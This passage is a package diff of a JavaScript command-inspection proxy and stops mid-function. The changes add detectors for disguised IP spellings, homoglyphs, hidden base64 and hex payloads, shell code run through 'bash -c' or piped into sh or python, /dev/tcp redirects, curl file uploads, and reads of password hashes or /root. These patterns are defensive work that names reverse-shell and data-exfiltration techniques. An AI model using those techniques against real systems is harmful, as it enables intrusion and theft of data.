@node9/proxy 2.35.0 → 2.36.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -286,6 +286,17 @@ function classifySsrf(host2) {
286
286
  return null;
287
287
  }
288
288
  }
289
+ function isDisguisedSpelling(asWritten, normalized) {
290
+ let s = asWritten.trim().toLowerCase().replace(/\.$/, "");
291
+ if (s.startsWith("[") && s.endsWith("]")) s = s.slice(1, -1);
292
+ if (s === normalized) return false;
293
+ const parts = s.split(".");
294
+ const shorthand = parts.length >= 2 && parts.length <= 3 && parts.every((p) => /^(?:0|[1-9][0-9]*)$/.test(p));
295
+ return !shorthand;
296
+ }
297
+ function ssrfDisguisedReason(m, asWritten) {
298
+ return `${asWritten} is ${TIER_REASON[m.tier]} written in a disguised form` + (m.normalized ? ` (${m.normalized})` : "") + ". Plain spellings of it are allowed; this one needs a look.";
299
+ }
289
300
  function ssrfExemptMatches(entries, normalized) {
290
301
  if (!entries?.length || !normalized) return false;
291
302
  const target = bitsOf(normalized);
@@ -322,12 +333,26 @@ function ssrfFloor(tokens, opts = {}) {
322
333
  for (const { token, binary } of tokens) {
323
334
  const m = classifySsrf(token);
324
335
  if (!m) continue;
325
- if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) continue;
326
- if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) continue;
327
- return { ...m, host: token, binary, reason: ssrfReason(m, token) };
336
+ const decision = ssrfFloorDecision(m, token, opts);
337
+ if (decision === null) continue;
338
+ return {
339
+ ...m,
340
+ host: token,
341
+ binary,
342
+ decision,
343
+ reason: decision === "review" ? ssrfDisguisedReason(m, token) : ssrfReason(m, token)
344
+ };
328
345
  }
329
346
  return null;
330
347
  }
348
+ function ssrfFloorDecision(m, asWritten, opts) {
349
+ if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) return null;
350
+ if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) {
351
+ if (opts.allowPrivate || m.kind !== "address" || !m.normalized) return null;
352
+ return isDisguisedSpelling(asWritten, m.normalized) ? "review" : null;
353
+ }
354
+ return "block";
355
+ }
331
356
  function isVerdict(v) {
332
357
  return v === "off" || v === "log" || v === "review" || v === "block";
333
358
  }
@@ -495,6 +520,63 @@ function resolveCheckMap(settings) {
495
520
  for (const c of CHECKS) out[c.id] = checkValue(settings, c.id);
496
521
  return out;
497
522
  }
523
+ function isInvisibleChar(char) {
524
+ return INVISIBLE_ONE.test(char);
525
+ }
526
+ function stripInvisible(text) {
527
+ return text.replace(INVISIBLE_RE, "");
528
+ }
529
+ function foldHomoglyphs(text) {
530
+ return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
531
+ }
532
+ function normalizeForScan(text) {
533
+ return foldHomoglyphs(stripInvisible(text));
534
+ }
535
+ function looksLikeText(buf) {
536
+ if (buf.length < MIN_DECODED) return false;
537
+ let printable = 0;
538
+ for (const b of buf) {
539
+ if (b >= 32 && b <= 126 || b === 10 || b === 13 || b === 9) printable++;
540
+ }
541
+ return printable / buf.length >= 0.9;
542
+ }
543
+ function decodeEmbeddedBase64(text) {
544
+ const out = [];
545
+ for (const m of text.matchAll(BASE64_RUN_RE)) {
546
+ if (out.length >= MAX_BLOBS) break;
547
+ const run = m[0];
548
+ if (/^[0-9a-fA-F]+$/.test(run)) continue;
549
+ const buf = Buffer.from(run, "base64");
550
+ if (looksLikeText(buf)) out.push(buf.toString("utf8"));
551
+ }
552
+ return out;
553
+ }
554
+ function decodeEmbeddedHex(text) {
555
+ const out = [];
556
+ for (const m of text.matchAll(HEX_RUN_RE)) {
557
+ if (out.length >= MAX_BLOBS) break;
558
+ const buf = Buffer.from(m[0], "hex");
559
+ if (looksLikeText(buf)) out.push(buf.toString("utf8"));
560
+ }
561
+ for (const m of text.matchAll(HEX_ESCAPE_RUN_RE)) {
562
+ if (out.length >= MAX_BLOBS) break;
563
+ const buf = Buffer.from(m[0].replace(/\\x/g, ""), "hex");
564
+ if (looksLikeText(buf)) out.push(buf.toString("utf8"));
565
+ }
566
+ return out;
567
+ }
568
+ function scanViews(text) {
569
+ const views = [{ kind: "original", text }];
570
+ const normalized = normalizeForScan(text);
571
+ if (normalized !== text) views.push({ kind: "normalized", text: normalized });
572
+ for (const t of decodeEmbeddedBase64(normalized)) {
573
+ views.push({ kind: "base64", text: normalizeForScan(t) });
574
+ }
575
+ for (const t of decodeEmbeddedHex(normalized)) {
576
+ views.push({ kind: "hex", text: normalizeForScan(t) });
577
+ }
578
+ return views;
579
+ }
498
580
  function isCatHeredocOrLit(part) {
499
581
  if (!part) return false;
500
582
  const t = syntax.NodeType(part);
@@ -565,14 +647,78 @@ function normalizeCommandForPolicy(command) {
565
647
  }
566
648
  function commandReadings(command) {
567
649
  const r = commandReadingsImpl(command);
568
- return r.separator === r.posix ? [r.posix] : [r.posix, r.separator];
650
+ const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
651
+ for (const payload of literalPayloadsOf(r.posix, 0)) {
652
+ for (const reading of commandReadings(payload)) out.add(reading);
653
+ }
654
+ return [...out];
655
+ }
656
+ function literalPayloadsOf(command, depth) {
657
+ if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
658
+ const f = parseShared(command);
659
+ if (f === PARSE_FAIL) return [];
660
+ const out = [];
661
+ try {
662
+ syntax.Walk(f, (node) => {
663
+ if (!node || out.length >= MAX_READING_PAYLOADS) return false;
664
+ const n = node;
665
+ if (syntax.NodeType(n) !== "CallExpr") return true;
666
+ const words = (n.Args || []).map((a) => resolveWordLiteral(a));
667
+ if (words.length === 0) return true;
668
+ const payload = literalShellPayload(words, baseWord(words[0]));
669
+ if (payload !== null && payload !== command) out.push(payload);
670
+ return true;
671
+ });
672
+ } catch {
673
+ return out;
674
+ }
675
+ return out;
676
+ }
677
+ function foldCommandWords(reading) {
678
+ if (!/[^\x00-\x7f]/.test(reading)) return reading;
679
+ const f = parseShared(reading);
680
+ if (f === PARSE_FAIL) return reading;
681
+ const toCharIndex = byteOffsetToCharIndex(reading);
682
+ const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
683
+ const edits = [];
684
+ try {
685
+ syntax.Walk(f, (node) => {
686
+ if (!node) return false;
687
+ const n = node;
688
+ if (syntax.NodeType(n) !== "CallExpr") return true;
689
+ const args = n.Args || [];
690
+ const words = args.map((a) => resolveWordLiteral(a));
691
+ const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
692
+ const head = unwrapCommandHead(folded);
693
+ for (let i = 0; i <= head && i < args.length; i++) {
694
+ const parts = args[i].Parts || [];
695
+ if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
696
+ const value = parts[0].Value ?? "";
697
+ const word = folded[i];
698
+ if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
699
+ if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
700
+ const s = at(args[i].Pos().Offset());
701
+ const e = at(args[i].End().Offset());
702
+ if (s < 0 || e < 0) continue;
703
+ edits.push([s, e, word]);
704
+ }
705
+ return true;
706
+ });
707
+ } catch {
708
+ return reading;
709
+ }
710
+ if (edits.length === 0) return reading;
711
+ edits.sort((a, b) => b[0] - a[0]);
712
+ let out = reading;
713
+ for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
714
+ return out;
569
715
  }
570
716
  function commandReadingsImpl(command) {
571
717
  return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
572
718
  }
573
719
  function normalizeCommandForPolicyImpl(command) {
574
720
  const f = parseShared(command);
575
- if (f === PARSE_FAIL) return { posix: command, separator: command };
721
+ if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
576
722
  try {
577
723
  const toCharIndex = byteOffsetToCharIndex(command);
578
724
  const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
@@ -640,9 +786,10 @@ function normalizeCommandForPolicyImpl(command) {
640
786
  for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
641
787
  return out;
642
788
  };
643
- return { posix: apply(rewrites), separator: apply(quoteOnlyRewrites) };
789
+ const posix = apply(rewrites);
790
+ return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
644
791
  } catch {
645
- return { posix: command, separator: command };
792
+ return { posix: command, separator: command, folded: command };
646
793
  }
647
794
  }
648
795
  function scanArgsForDynamicExec(args, startIdx) {
@@ -803,6 +950,13 @@ function shellConsumesPipe(args) {
803
950
  }
804
951
  return true;
805
952
  }
953
+ function curlSourceOperand(flag, value) {
954
+ const file2 = (f) => f && f !== "-" && f !== "." ? f : null;
955
+ if (flag === "-T" || flag === "--upload-file") return file2(value);
956
+ if (flag === "--data-urlencode") return file2(/^[^=@]*@(.+)$/.exec(value)?.[1]);
957
+ if (flag === "-F" || flag === "--form") return file2(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
958
+ return value.startsWith("@") ? file2(value.slice(1)) : null;
959
+ }
806
960
  function analyzeSqlDestructive(command) {
807
961
  if (!SQL_DDL_RE.test(command)) return null;
808
962
  const { actions } = analyzeShellCommand(command);
@@ -964,13 +1118,19 @@ function inlineExecStmt(stmt, pipeFed) {
964
1118
  }
965
1119
  let positionals2 = 0;
966
1120
  let selectedProgram = false;
967
- for (const a of args) {
1121
+ for (let i = 0; i < args.length; i++) {
1122
+ const a = args[i];
968
1123
  if (a == null) {
969
1124
  positionals2++;
970
1125
  selectedProgram = true;
971
1126
  continue;
972
1127
  }
973
- if (!selectedProgram && isInlineCodeFlag(interp, a)) return true;
1128
+ if (!selectedProgram && isInlineCodeFlag(interp, a)) {
1129
+ if (!/^(bash|sh|zsh|dash|ksh)$/.test(interp)) return true;
1130
+ const payload = args[i + 1];
1131
+ if (payload == null) return true;
1132
+ return shellPayloadNeedsReview(payload);
1133
+ }
974
1134
  if (a === "-m") {
975
1135
  selectedProgram = true;
976
1136
  continue;
@@ -988,6 +1148,45 @@ function inlineExecStmt(stmt, pipeFed) {
988
1148
  }
989
1149
  return false;
990
1150
  }
1151
+ function shellPayloadNeedsReview(payload) {
1152
+ if (payloadNesting >= MAX_PAYLOAD_NESTING) return true;
1153
+ const f = parseShared(payload);
1154
+ if (f === PARSE_FAIL) return true;
1155
+ let review = false;
1156
+ payloadNesting++;
1157
+ try {
1158
+ syntax.Walk(f, (node) => {
1159
+ if (!node || review) return false;
1160
+ const n = node;
1161
+ if (syntax.NodeType(n) !== "CallExpr") return true;
1162
+ const words = (n.Args || []).map((a) => resolveWordLiteral(a));
1163
+ if (words.length === 0) return true;
1164
+ const h = unwrapCommandHead(words);
1165
+ const head = words[h];
1166
+ if (head === null || head === void 0) {
1167
+ review = true;
1168
+ return false;
1169
+ }
1170
+ const name = head.split("/").pop()?.toLowerCase() ?? "";
1171
+ if (name === "eval" || name === "source" || name === ".") {
1172
+ review = true;
1173
+ return false;
1174
+ }
1175
+ return true;
1176
+ });
1177
+ if (!review && detectDangerousShellExec(payload) !== null) review = true;
1178
+ if (!review && /\|\s*(?:[\w./-]*\/)?(?:ba|z|da|k|c|fi)?sh\b|\|\s*(?:python[\d.]*|node|perl|ruby|php)\b/i.test(
1179
+ payload
1180
+ ))
1181
+ review = true;
1182
+ if (!review && detectInlineExec(payload)) review = true;
1183
+ } catch {
1184
+ review = true;
1185
+ } finally {
1186
+ payloadNesting--;
1187
+ }
1188
+ return review;
1189
+ }
991
1190
  function detectInlineExec(command) {
992
1191
  const f = parseShared(command);
993
1192
  if (f === PARSE_FAIL) {
@@ -1068,12 +1267,78 @@ function positionedArgs(words, from = 1, to = words.length) {
1068
1267
  function extractLiteralArgs(callExpr) {
1069
1268
  const rawArgs = callExpr.Args || [];
1070
1269
  if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
1071
- const words = rawArgs.map((a) => resolveWordLiteral(a));
1270
+ const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
1072
1271
  const name = baseWord(words[0]);
1073
1272
  const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
1074
1273
  const args = positionedArgs(words);
1075
1274
  return { name, flags, paths: args.map((a) => a.value), words, args };
1076
1275
  }
1276
+ function shellScriptOperands(command) {
1277
+ const f = parseShared(command);
1278
+ if (f === PARSE_FAIL) return [];
1279
+ const out = [];
1280
+ const seen = /* @__PURE__ */ new Set();
1281
+ const add = (p) => {
1282
+ if (!p || p.startsWith("-") || seen.has(p) || out.length >= MAX_SCRIPT_OPERANDS) return;
1283
+ if (/(^|[\\/])node_modules[\\/]|[\\/]\.bin[\\/]/.test(p)) return;
1284
+ seen.add(p);
1285
+ out.push(p);
1286
+ };
1287
+ try {
1288
+ walkWithCalls(f, (node) => {
1289
+ if (!node) return false;
1290
+ const n = node;
1291
+ if (syntax.NodeType(n) !== "CallExpr") return true;
1292
+ const callArgs = n.Args || [];
1293
+ if (callArgs.length === 0) return true;
1294
+ const words = callArgs.map((a) => resolveWordLiteral(a));
1295
+ const h = unwrapCommandHead(words);
1296
+ const headWord = words[h];
1297
+ if (headWord === null || headWord === void 0) return true;
1298
+ const name = baseWord(headWord);
1299
+ if (SCRIPT_RUNNERS.has(name)) {
1300
+ for (let i = h + 1; i < words.length; i++) {
1301
+ const w = words[i];
1302
+ if (w === null) return true;
1303
+ if (w === "-c" || w === "-lc" || w === "-ec") return true;
1304
+ if (w === "--") {
1305
+ add(words[i + 1] ?? null);
1306
+ return true;
1307
+ }
1308
+ if (w.startsWith("-") || w.startsWith("+")) {
1309
+ if (SCRIPT_RUNNER_VALUE_FLAGS.has(w)) i++;
1310
+ continue;
1311
+ }
1312
+ add(w);
1313
+ return true;
1314
+ }
1315
+ return true;
1316
+ }
1317
+ if (/[\\/]/.test(headWord)) add(headWord);
1318
+ return true;
1319
+ });
1320
+ } catch {
1321
+ return out;
1322
+ }
1323
+ return out;
1324
+ }
1325
+ function windowsDrivePathSpelling(word) {
1326
+ const parts = word?.Parts || [];
1327
+ if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
1328
+ const raw = parts.map((p) => p.Value ?? "").join("");
1329
+ return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
1330
+ }
1331
+ function devNetRedirectHost(word) {
1332
+ if (!word) return null;
1333
+ const m = /^\/dev\/(tcp|udp)\/([^/\s]+)\/([^/\s]+)$/i.exec(word.trim());
1334
+ if (!m) return null;
1335
+ const host2 = m[2].toLowerCase();
1336
+ return host2.length <= 253 ? host2 : null;
1337
+ }
1338
+ function redirectWords(stmt) {
1339
+ const redirs = stmt.Redirs || [];
1340
+ return redirs.filter((r) => r && r.Word).map((r) => resolveWordLiteral(r.Word));
1341
+ }
1077
1342
  function payloadKey(payload) {
1078
1343
  if (!assignmentTable || assignmentTable.size === 0) return payload;
1079
1344
  const bindings = [];
@@ -1422,7 +1687,18 @@ function extractShellDestinations(command) {
1422
1687
  () => walkWithCalls(f, (node) => {
1423
1688
  if (!node) return false;
1424
1689
  const n = node;
1425
- if (syntax.NodeType(n) === "Stmt") trackStatement(n);
1690
+ if (syntax.NodeType(n) === "Stmt") {
1691
+ trackStatement(n);
1692
+ for (const raw of redirectWords(n)) {
1693
+ const host2 = devNetRedirectHost(raw);
1694
+ if (!host2) continue;
1695
+ const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
1696
+ const key = `${binary}:${host2}`;
1697
+ if (seen.has(key)) continue;
1698
+ seen.add(key);
1699
+ out.push({ host: host2, binary, raw });
1700
+ }
1701
+ }
1426
1702
  if (syntax.NodeType(n) !== "CallExpr") return true;
1427
1703
  const callArgs = n.Args || [];
1428
1704
  if (callArgs.length === 0) return true;
@@ -1458,7 +1734,18 @@ function extractShellDestTokens(command) {
1458
1734
  () => walkWithCalls(f, (node) => {
1459
1735
  if (!node) return false;
1460
1736
  const n = node;
1461
- if (syntax.NodeType(n) === "Stmt") trackStatement(n);
1737
+ if (syntax.NodeType(n) === "Stmt") {
1738
+ trackStatement(n);
1739
+ for (const raw of redirectWords(n)) {
1740
+ const host2 = devNetRedirectHost(raw);
1741
+ if (!host2) continue;
1742
+ const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
1743
+ const key = `${binary}:${host2}`;
1744
+ if (seen.has(key)) continue;
1745
+ seen.add(key);
1746
+ out.push({ token: host2, binary });
1747
+ }
1748
+ }
1462
1749
  if (syntax.NodeType(n) !== "CallExpr") return true;
1463
1750
  const callArgs = n.Args || [];
1464
1751
  if (callArgs.length === 0) return true;
@@ -1798,8 +2085,11 @@ function copySourcePaths(words) {
1798
2085
  const out = [];
1799
2086
  for (const action of findActions(words, fi)) {
1800
2087
  const h2 = unwrapCommandHead(action);
1801
- if (!resolveCopyShape(action, h2)) continue;
1802
- out.push(...starts, ...copySourcePaths(action));
2088
+ const shape2 = resolveCopyShape(action, h2);
2089
+ if (!shape2) continue;
2090
+ const inner = copySourcePaths(action);
2091
+ const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
2092
+ out.push(...startsCopied ? starts : [], ...inner);
1803
2093
  }
1804
2094
  return out;
1805
2095
  }
@@ -1855,11 +2145,24 @@ function copySourcePaths(words) {
1855
2145
  );
1856
2146
  return f.letter !== null && names.includes(f.letter);
1857
2147
  };
1858
- const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => f.attached);
2148
+ const sourceFlagName = (w) => {
2149
+ const names = shape.sourceFlags ?? [];
2150
+ if (w.startsWith("--")) {
2151
+ const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
2152
+ return names.find(
2153
+ (n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
2154
+ ) ?? name;
2155
+ }
2156
+ const letters = w.slice(1);
2157
+ const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
2158
+ return `-${owner ?? letters[letters.length - 1]}`;
2159
+ };
2160
+ const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
2161
+ const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
1859
2162
  return [
1860
- ...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
2163
+ ...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
1861
2164
  ...inline
1862
- ];
2165
+ ].filter((p) => p !== null);
1863
2166
  }
1864
2167
  case "archive":
1865
2168
  src = archiveInputs(shape.archive, args, tail);
@@ -2205,9 +2508,9 @@ function matchesPattern(text, patterns) {
2205
2508
  const withoutDotSlash = text.replace(/^\.\//, "");
2206
2509
  return isMatch(withoutDotSlash) || isMatch(`./${withoutDotSlash}`);
2207
2510
  }
2208
- function getNestedValue(obj, path26) {
2511
+ function getNestedValue(obj, path27) {
2209
2512
  if (!obj || typeof obj !== "object") return null;
2210
- const segments2 = path26.split(".");
2513
+ const segments2 = path27.split(".");
2211
2514
  for (const seg of segments2) {
2212
2515
  if (FORBIDDEN_PATH_SEGMENTS.has(seg)) return null;
2213
2516
  }
@@ -2633,6 +2936,12 @@ function collectShellFileAccesses(command, context = {}) {
2633
2936
  if (FS_READ_TOOLS.has(name) && name !== "dd") {
2634
2937
  for (const p of readerPaths(words, head)) add("read", locate(p), state);
2635
2938
  }
2939
+ if (["ls", "tree", "dir", "vdir"].includes(name)) {
2940
+ for (const token of args) {
2941
+ if (!token || token.value.startsWith("-")) continue;
2942
+ add("read", token, state, { listing: true });
2943
+ }
2944
+ }
2636
2945
  if (name === "dd") {
2637
2946
  for (const token of args)
2638
2947
  if (token && /^(?:if|of)=/.test(token.value)) {
@@ -2848,6 +3157,8 @@ function collectShellFileAccesses(command, context = {}) {
2848
3157
  function findActions2(tokens, words, head, state, nested, depth) {
2849
3158
  const starts = findStartPoints(words, head).starts;
2850
3159
  const roots = (starts.length ? starts : ["."]).slice(0, MAX_ALTERNATIVES);
3160
+ for (const start of starts.slice(0, MAX_ALTERNATIVES))
3161
+ add("read", { value: start }, state, { listing: true });
2851
3162
  let nameFilter = null;
2852
3163
  let pathFilter = null;
2853
3164
  let shallow = false;
@@ -3182,8 +3493,8 @@ function collectFileAccesses(tool, args, context = {}, inspection = {}) {
3182
3493
  }
3183
3494
  return out;
3184
3495
  }
3185
- function within(path26, root) {
3186
- return path26 === root || path26.startsWith(root === "/" ? "/" : root + "/");
3496
+ function within(path27, root) {
3497
+ return path27 === root || path27.startsWith(root === "/" ? "/" : root + "/");
3187
3498
  }
3188
3499
  function hits(access, paths, directories, context) {
3189
3500
  const home = context.homeDirs?.[0] ?? "~";
@@ -3239,6 +3550,10 @@ function hitsSystemDir(access, context, dirs = SYSTEM_DIRS) {
3239
3550
  }
3240
3551
  return false;
3241
3552
  }
3553
+ function hitsRootHome(access, context) {
3554
+ if (context.homeDirs?.[0] === "/root") return false;
3555
+ return hitsSystemDir(access, context, ["/root"]);
3556
+ }
3242
3557
  function uploadDirs(context) {
3243
3558
  return context.homeDirs?.[0] === "/root" ? UPLOAD_SYSTEM_DIRS.filter((d) => d !== "/root") : UPLOAD_SYSTEM_DIRS;
3244
3559
  }
@@ -3271,10 +3586,14 @@ function evaluateProtectedFileAccess(accesses, context, settings) {
3271
3586
  "files.system-dirs",
3272
3587
  "review-system-file-upload",
3273
3588
  "Uploading a system file requires approval"
3274
- ] : !mutation && hits(access, PASSWORD_HASH_FILES, [], context) ? [
3589
+ ] : !mutation && !access.listing && hits(access, PASSWORD_HASH_FILES, [], context) ? [
3275
3590
  "files.password-hashes",
3276
3591
  "review-password-hash-read",
3277
3592
  "Reading system password hashes requires approval"
3593
+ ] : !mutation && !access.upload && hitsRootHome(access, context) ? [
3594
+ "files.system-dirs",
3595
+ "review-root-home-read",
3596
+ "Reading the root account's home requires approval"
3278
3597
  ] : null;
3279
3598
  } catch {
3280
3599
  consider(incompleteFileVerdict(access.operation));
@@ -3338,7 +3657,7 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
3338
3657
  };
3339
3658
  for (const word of text.matchAll(/[a-zA-Z]+/g)) {
3340
3659
  const index = indices.get(word[0]);
3341
- if (index === void 0 || run.length && !/^\s+$/.test(text.slice(previousEnd, word.index))) {
3660
+ if (index === void 0 || run.length && !/^[\s+]+$/.test(text.slice(previousEnd, word.index))) {
3342
3661
  if (inspect()) return true;
3343
3662
  if (budget.reasons.has("mnemonic-budget")) return false;
3344
3663
  run = [];
@@ -3352,95 +3671,291 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
3352
3671
  }
3353
3672
  return inspect();
3354
3673
  }
3355
- function validateLuhn(digits) {
3356
- if (!/^\d+$/.test(digits)) return false;
3357
- if (digits.length < 12) return false;
3358
- if (!/[1-9]/.test(digits)) return false;
3359
- let sum = 0;
3360
- let double = false;
3361
- for (let i = digits.length - 1; i >= 0; i--) {
3362
- let d = digits.charCodeAt(i) - 48;
3363
- if (double) {
3364
- d *= 2;
3365
- if (d > 9) d -= 9;
3366
- }
3367
- sum += d;
3368
- double = !double;
3369
- }
3370
- return sum % 10 === 0;
3371
- }
3372
- function validateIban(raw) {
3373
- const s = raw.replace(/[ -]/g, "").toUpperCase();
3374
- if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
3375
- const want = IBAN_LENGTH[s.slice(0, 2)];
3376
- if (want === void 0 || s.length < want) return false;
3377
- const iban = s.slice(0, want);
3378
- if (!/^[A-Z0-9]+$/.test(iban)) return false;
3379
- const rearranged = iban.slice(4) + iban.slice(0, 4);
3380
- let mod = 0;
3381
- for (const ch of rearranged) {
3382
- const code = ch.charCodeAt(0);
3383
- const digits = code >= 65 ? String(code - 55) : ch;
3384
- for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
3385
- }
3386
- return mod === 1;
3387
- }
3388
- function validateBase58Check(s) {
3389
- if (!s) return null;
3390
- let n = 0n;
3391
- for (const c of s) {
3392
- const v = B58_INDEX[c];
3393
- if (v === void 0) return null;
3394
- n = n * 58n + BigInt(v);
3395
- }
3396
- let hex = n.toString(16);
3397
- if (hex.length % 2) hex = "0" + hex;
3398
- let zeros = 0;
3399
- for (const c of s) {
3400
- if (c !== "1") break;
3401
- zeros++;
3402
- }
3403
- const bytes = Buffer.concat([
3404
- Buffer.alloc(zeros),
3405
- n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
3406
- ]);
3407
- if (bytes.length < 5) return null;
3408
- const body = bytes.subarray(0, bytes.length - 4);
3409
- const check = bytes.subarray(bytes.length - 4);
3410
- const h = (0, import_crypto3.createHash)("sha256").update((0, import_crypto3.createHash)("sha256").update(body).digest()).digest();
3411
- return h.subarray(0, 4).equals(check) ? body : null;
3674
+ function newSecretViewBudget() {
3675
+ return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
3412
3676
  }
3413
- function validateWif(s) {
3414
- const p = validateBase58Check(s);
3415
- if (!p || p[0] !== 128) return false;
3416
- return p.length === 33 || p.length === 34 && p[33] === 1;
3677
+ function textBytes(buf) {
3678
+ if (buf.length < 16) return null;
3679
+ const text = buf.toString("utf8");
3680
+ if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
3681
+ return text;
3417
3682
  }
3418
- function validateXprv(s) {
3419
- const p = validateBase58Check(s);
3420
- if (!p || p.length !== 78) return false;
3421
- const version = p.readUInt32BE(0);
3422
- return XPRV_VERSIONS.has(version) && p[45] === 0;
3683
+ function percentOnce(text) {
3684
+ return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
3685
+ try {
3686
+ return decodeURIComponent(run);
3687
+ } catch {
3688
+ return run.replace(
3689
+ /%([a-f0-9]{2})/gi,
3690
+ (_, h) => String.fromCharCode(parseInt(h, 16))
3691
+ );
3692
+ }
3693
+ });
3423
3694
  }
3424
- function crc32(input) {
3425
- if (!CRC32_TABLE) {
3426
- CRC32_TABLE = new Int32Array(256);
3427
- for (let i = 0; i < 256; i++) {
3428
- let c2 = i;
3429
- for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
3430
- CRC32_TABLE[i] = c2;
3695
+ function* wrappedBase64(text) {
3696
+ if (!text.includes("\n")) return;
3697
+ const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
3698
+ let run = [];
3699
+ let width = 0;
3700
+ const flush = function* () {
3701
+ if (run.length >= 2) yield run.join("");
3702
+ run = [];
3703
+ width = 0;
3704
+ };
3705
+ for (const raw of text.split("\n")) {
3706
+ const line = raw.trim();
3707
+ const full = line.length >= 16 && word.test(line) && !line.includes("=");
3708
+ if (full && (!run.length || line.length === width)) {
3709
+ run.push(line);
3710
+ width = line.length;
3711
+ continue;
3712
+ }
3713
+ if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
3714
+ run.push(line);
3715
+ yield* flush();
3716
+ continue;
3717
+ }
3718
+ yield* flush();
3719
+ if (full) {
3720
+ run.push(line);
3721
+ width = line.length;
3431
3722
  }
3432
3723
  }
3433
- const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
3434
- let c = -1;
3435
- for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
3436
- return (c ^ -1) >>> 0;
3724
+ yield* flush();
3437
3725
  }
3438
- function base62Checksum(value) {
3439
- let n = value >>> 0;
3440
- let s = "";
3441
- while (n > 0) {
3442
- s = B62[n % 62] + s;
3443
- n = Math.floor(n / 62);
3726
+ function* encodedRegions(text, budget) {
3727
+ yield [text, false];
3728
+ for (const block of wrappedBase64(text)) yield [block, false];
3729
+ for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
3730
+ try {
3731
+ new URL(match[0]);
3732
+ } catch {
3733
+ continue;
3734
+ }
3735
+ const parts = match[0].match(
3736
+ /^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
3737
+ );
3738
+ if (!parts) continue;
3739
+ const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
3740
+ const regions = [
3741
+ parts[1],
3742
+ ...host2.split("."),
3743
+ ...parts[2].split("/"),
3744
+ ...(parts[3] ?? "").split("&"),
3745
+ parts[4] ?? ""
3746
+ ];
3747
+ for (const region of regions) if (region) yield [region, false];
3748
+ const labels = host2.split(".");
3749
+ if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
3750
+ continue;
3751
+ for (let start = 0; start < labels.length; start++) {
3752
+ let joined = labels[start];
3753
+ for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
3754
+ const run = labels.slice(start, end + 1);
3755
+ if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
3756
+ break;
3757
+ joined += labels[end];
3758
+ if (joined.length < 16) continue;
